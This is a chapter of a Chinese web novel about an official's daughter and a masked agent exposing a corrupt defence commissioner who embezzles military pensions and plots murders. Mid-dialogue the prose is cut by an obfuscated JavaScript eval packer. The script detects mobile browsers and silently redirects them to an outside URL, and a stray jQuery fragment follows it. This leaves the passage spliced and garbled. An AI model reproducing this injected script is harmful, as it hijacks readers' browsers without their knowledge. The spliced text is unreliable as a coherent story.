温棠真的不知自己的仇人是谁,他的父亲,是殉道者,他是为了自己的理想,自己的志向而死。
可温棠也清楚地知道,她的仇人,在朝堂之上,在那个至高之位上。
温长庚食了言,没能回到安县,在温棠的心里,他不是一位合格的父亲,但他是一位清白的好官,他无愧于天下。他不是合格的父亲,可温棠还想做一位合格的女儿,她想替父正名,也要查清赵昀当年叛国一事的真相,一直等到先帝驾崩,新帝登基,温母病逝,已经两年过去。
她将妹妹留在了安县的舅父家,一人踏上了回京的路。她不知自己能否做到,但总要去做,才知道。
贪墨军饷的人也极有可能就是当年诬陷赵昀叛国的人之一,既如此,在温棠看来便也是她的仇人,就算不是,也是为民除害。而林归,无论他是殿前司或是枢密院,或是其他的人,都不重要。温棠能结识他,若在回京之后能帮上忙,便是意外之喜,若是不能,她一人,也要躬行此事。
林归和温棠两人站在院中,静静对望着。林归听完了温棠的回答,下颌线绷紧,眼底闪过一丝复杂的神色,两人静默了很久,林归才回道,“我帮不了你。”
听到此话,温棠的思绪才从回忆中抽离,看着眼前的人,突然发现眼前身着夜行衣的人身量虽高,却显得有些清瘦。
“你伤势如何了,伤还未愈,就敢翻墙,不怕伤口裂开吗?我无需你帮我,回京前我们一起把这个案子查清,这个可是大人答应了的,再者,如今我还可以帮你养伤,怎么看都是大人赚了。”
“...”林归一时不知该如何接话,会阳水患的善后事宜也即将结束,他不日也要返京,留给他在通州的时间不多了。他也一样,无论如何,这次的机会势必不能错过。
“你有没有想过,若是董然趁机出逃,我们手上可就连一个人证也没有了。”
“大人不会让这种可能发生的,你让我去之前不就已经想好了这一步吗。便是最后我没能成功,你也会想别的办法逼他引人现身。”
林归再次噎住了,温棠认识他只几天时间,不仅不怕他,且似乎很会气他,到底是谁有求于谁。
夜色如墨,月光柔和地照在这座小院中,夏风轻轻吹过温棠的发梢,一缕碎发被吹到了额前。林归看着温棠额前的发,突然觉得她真的很像他认识的故人,“夜深了,早点休息。”
林归一个人又在院中站了一会,不知怎的想起了十五六岁时的事情,恍惚间明白了温棠刚刚在看些什么,之后,他转身进了书房,走入密室中。
或许是因着刚饱餐过,董然此时难得睡得安稳,不过也有可能是虽然听见了来人的脚步声,但是也懒得睁眼。
“明日我会放你出去。”
“你不打算要我的命了?和我交易的是那个小姑娘。”董然睁开了眼,坐起身,正色看着林归。
“要不要你的命不是我决定的,我答应你了,只要你如实交代,生死由你。我不知她答应你什么,但你若是觉得她一个人就可以从章泽会手下活命,再完成答应你的事,那我现在就可以离开。”
密室内灯火幽暗,董然黯了黯目光,“生不如死。”
“此事若成,待我离开通州时,你也可以再回边关。你若真想到黄泉路上赎罪,死在边关,总比死在自己人手上,要有价值。黑虎营剩下的家眷,我会查。”
吕范是章泽会的内知,他本是章家老爷的家生奴,章泽会幼时也喊过他吕叔。后来章家老爷离世后,章泽会成了家主,吕范也就成了章家的内知。后来章泽会靠着表姑母的关系,当上了通州防御使,便成了通州割地自专的豪绅,见官不拜。自此,再也未喊过吕叔。
这日的通州章府,吕范在正堂中跪着。吕范已经带人在通州乃至周边县里搜寻那日出现的黑衣人的踪迹,却始终没有发现林归。他们倒是找到了那孩子的踪迹,可不知为何,此时似乎又出现了那个黑衣人,但他带上人跟去时,却又消失了。无奈之下,他只好先回到章府复命。
“老爷。”
“啪!”
章泽会扇了吕范一巴掌,吕范的脸侧立刻红肿半边,一下跌倒在地,却又立刻爬起跪好。
“被人撞见了,居然,居然被人撞见了!我让你带去的人都喂狗了吗!”
“老爷,老爷明鉴啊,我是想让他们先躲到远处,我怕董然察觉什么所以才...”
“住口!你那点腌臜心思都给摆面上了!你分明是想私下再宰董然一回!”章泽会深吸了一口气,蹲下身,眯起眼睛看着吕范继续说,“吕范,你别忘了,你一家可都等着你吃饭呢。”
吕范猛地抬头,眼神中带着惶恐,跪好身子,再开口时声音却发颤。
“大郎...”
吕范话一出口,章泽会眼神立刻一冷,阴鸷的看向跪在地上的吕范。
“老爷,今夜那人尚不知身份,兴许,兴许是什么路见不平的游侠,闹不出什么风浪,何况,何况他已经走了。老爷,我再也不敢了,我,我保证,日后一定小心行事,绝不再犯。”
“呵,不仅抢走名单的那个所谓游侠已经走了,连董然都趁乱跑了!”章泽会说完却顿了一下,“不过,他不敢如何的。但你...”
“老爷,老爷,您再给我次机会,再给次机会,我去把那几人的口封了。”
章泽会眯起眼睛,慢步走到吕范面前,蹲下身看着他,“若是又出岔子,你就不用再回来了。”
第二日,通州城外的一处竹林中,吕范终于等到了赴约的董然,竹林中除了这两人,只有风吹过竹叶的声音。
矮胖的吕范眯着眼睛,看着走近的董然,压低了声音,“名册呢?”
“被抢走了。”董然几乎是毫不在意的语气回答他。
“你是来找死的?”
“死之前,你难道不想让我再写一份名册?”
吕范却又反问他,“抢名册的人,你那边有找到踪迹吗?或者,他有找到你吗?”
董然嗤笑一声,“我若找到他,名册不就给你了。他若找到我,我今日怎么会来见你。再者,你不是也没找到?”
“果真如此?”吕范眯上了双眼,他的双眼本就不大,在一张积满了赘肉的脸上,如今几乎小得看不见。
董然扭过脸,懒得回答他。吕范又四下看了一圈,压低声音自顾自地说,“无论如何,那个人不能活,重写的名册你可带来了?”
“你们想如何处理这次名册上将士的家眷?”
“你问的是黑虎营将士的家眷,还是其他将士的家眷。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563285|204612||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我问的是所有将士的家眷。”
吕范冷笑一下,脸上的肥肉聚在了一起,“名册既然泄露,他们若是不死,死的就很可能是你我。但,你老实写出名册,黑虎营的家眷,我可以让防御网开一面。”吕范又转了下眼睛,“我记得这是最后几批的黑虎营家眷了吧。”
“...”章泽既要这批抚恤金,也要斩草除根。董然觉得,便是自己现在立时死了,也定是要下地狱的,不,是下地狱也不够赎清罪业了。
“名册我可以写,但明日此时,还是这里,我给章防御。”
吕范加重了语气,“明日给我。”
“我要亲眼看着名册交到防御手上,我要确保他会将名单上的将士的家眷处理干净,也要他放过黑虎营的家眷。我总归是大不了就去死,对于黑虎营的兄弟,我已无愧于心。名册你们若是想要,明日此时此处,我给章防御,否则,咱们就都别活了。”
竹林深处有隐约的动静传来,吕范向暗处递了个眼神,让藏着的私兵不要轻举妄动。
“既如此,你可别耍什么花样。我回去告诉防御,但他若是不来,明日你也要把名册给我,否则,就算是我们一起死,黑虎营的家眷也不用活了。”
“没得选,你绑也要把他绑来。”
“董然,你觉得你是谁,你凭什么?”
“你应该也不想死吧,名单已经泄露,光靠你自己,你能处理干净?章泽会要是不来,我就是死之前,也要告诉他,你到底背着他。”董然停突然停下,压低了声音继续说,“私吞了多少。”
流云缓动,夕阳西下。章府的花房中只有章泽会和吕范两人,章泽会正在逗着一只五色鹦鹉。
“你是说,名册没拿回来,还要我明日亲自去?哈哈哈,吕叔啊...”
“吕叔!吕叔!”鹦鹉不合时宜地学起了章泽会的话语,章泽会笑着转过身子,看着吕范,吕范的后背升起一股冷意,战战兢兢的跪在了地上,额头上渗出了冷汗。
“老爷,那份名...”吕范的声音不稳,话还未说完,章泽会打断了他,“抢名册的那个,什么游侠,找到了吗?”
吕范微微一愣,“已经被董然杀了,老爷明日过去,董然会把名册给你。”
吕范不敢告诉章泽会根本没有找到那人,若是如实说,吕范担心章泽会不去赴约。他担心章泽会不信,又赶紧补上一句,“那个游侠平平无奇,那日只是因着我带去的人都在远处,又碍着庙中人多,这才侥幸得手,没两日便被董然杀掉了。”
章泽会转了转眼珠子看向地上低着头的人,“当真如此?既如此,明日...”章泽会又拿起一根小竹棍,逗起了笼中鸟,“便走一趟。”
“走一趟!走一趟!”章泽会被鹦鹉学的话逗得大笑,吕范也抬起头,勉强挤出个笑容。
花房中,吕范已经离开,章泽会喂完了鹦鹉,又说道,“明日,带人把吕范和那个残废了的丘八一起杀了。”
“大郎当真要去吗?”一个和章泽会年龄相仿的男子站在鸟笼另一侧,听到章泽会的话一愣。
“不是查到抢名册的那人了吗?这人这么多天都没被吕范找到,倒是有些本事。可惜啊,还是被萧郎你,查到了踪迹。”
章泽会望着男子微微一笑,眼神带上了狠厉。